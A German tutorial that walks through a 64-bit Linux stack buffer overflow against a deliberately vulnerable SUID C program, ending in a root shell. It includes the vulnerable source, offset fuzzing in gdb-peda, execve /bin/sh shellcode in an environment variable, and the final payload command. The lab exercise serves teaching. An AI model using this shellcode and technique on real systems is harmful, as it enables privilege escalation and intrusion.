In diesem Tutorial erzeugen wir einen Buffer Overflow auf dem 64-Bit Stack, um root Rechte zu erlangen.¹⁾

Technische Einzelheiten zu Buffer-Overflows, Stack etc. gibt es hier²⁾

Was wird benötigt?

• Kali Linux (oder andere Distri)
• GDB Debugger
• gdb-peda
• gcc Compiler

gdb-peda erweitert den Debugger GDB um hilfreiche Kommandos, zur Exploit Entwicklung.⁴⁾

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

ASLR muss deaktiviert werden, damit Speicherbereiche nicht randomisiert werden.

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Quellcode und kompilierte Binaries findet Ihr auch auf meinem github repository

// code from https://blog.techorganic.com/2015/04/10/64-bit-linux-stack-smashing-tutorial-part-1/
 
#include <stdio.h>
#include <unistd.h>
 
int vuln() {
    char buf[80];
    int r;
    r = read(0, buf, 400);
    printf("\nRead %d bytes. buf is %s\n", r, buf);
    puts("No shell for you :(");
    return 0;
}
 
int main(int argc, char *argv[]) {
    printf("Try to exec /bin/sh");
    vuln();
    return 0;
}

gcc -fno-stack-protector -z execstack bof.c -o bof

Interessant für uns ist das Register RIP. Dieses enthält eine Rücksprungadresse, welche auf einen anderen Bereich im Code zeigt. Durch den Buffer-Overflow überschreiben wir diese Rücksprungadresse. Aber erst müssen wir herausfinden, wie wir dies machen können.

Wir starten unser Programm im Debugger und generieren einen 200 Zeichen langen String:

gdb -q vulnerable
pattern_create 200 in.bin
r < in.bin

Offset Fuzzing

Wieviele Bytes müssen übergeben werden, bevor RIP überschrieben wird?

pattern_offset A7AAMAAiA
Found at Offset 104

104 Bytes müssen übergeben werden, bis der Puffer überläuft. Wir generieren 104 Zeichen und eine canonical return adress. Hierzu müssen wir unsere Pseudo-Adresse 0x414141414141 ins canonical address format konvertieren, indem wir 2 hohe Bytes anhängen:

0x0000414141414141

Das wandeln wir in Shellcode um:

\x41\x41\x41\x41\x41\x41\x00\x00

In a 64-bit architecture, the entire 2⁶⁴ bytes are not utilized for address space. In a typical 48 bit implementation, canonical address refers to one in the range 0x0000000000000000 to 0x00007FFFFFFFFFFF and 0xFFFF800000000000 to 0xFFFFFFFFFFFFFFFF. Any address outside this range is non-canonical.⁵⁾

Also Debuggen wir nun erneut, mit den herausgefundenen Parametern

python2 -c "print('A'*104 + '\x41\x41\x41\x41\x41\x41\x00\x00')" > in.bin
gdb -q bof
r < in.bin

wir haben RIP mit unserer Pseudo Adresse überschrieben

Im letzten Schritt erzeugen wir uns ein entsprechendes Exploit, um die root Shell zu erzeugen.

Der Shellcode⁶⁾ wird in einer Umgebungsvariable abgelegt

export PWN=`python2 -c 'print( "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05\x6a\x01\x5f\x6a\x3c\x58\x0f\x05")'`

// code by Jon Erickson, page 147 and 148 of Hacking: The Art of Exploitation, 2nd Edition
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
	char *ptr;
 
	if(argc < 3) {
		printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
		exit(0);
	}
	ptr = getenv(argv[1]); /* get env var location */
	ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
	printf("%s will be at %p\n", argv[1], ptr);
}

gcc getenvar.c -o getenvar

./getenvar PWN ./bof

Das Offset der Umgebungsvariable im Stack

Die Adresse der Umgebungsvariable ist 0x7fffffffef9e, dies entspricht der canonical address 0x00007fffffffef9e´. Unser Shellcode entspräche nun:

\x9e\xef\xff\xff\xff\x7f\x00\x00

Zunächst setzen wir root Rechte auf die vulnerable Datei und starten diese⁷⁾

sudo chown root bof
sudo chmod 4755 bof
./bof

Nun können wir den Buffer-Overflow ausführen:

(python2 -c "print('A'*104+'\x9e\xef\xff\xff\xff\x7f\x00\x00')"; cat) | ./bof

root Shell!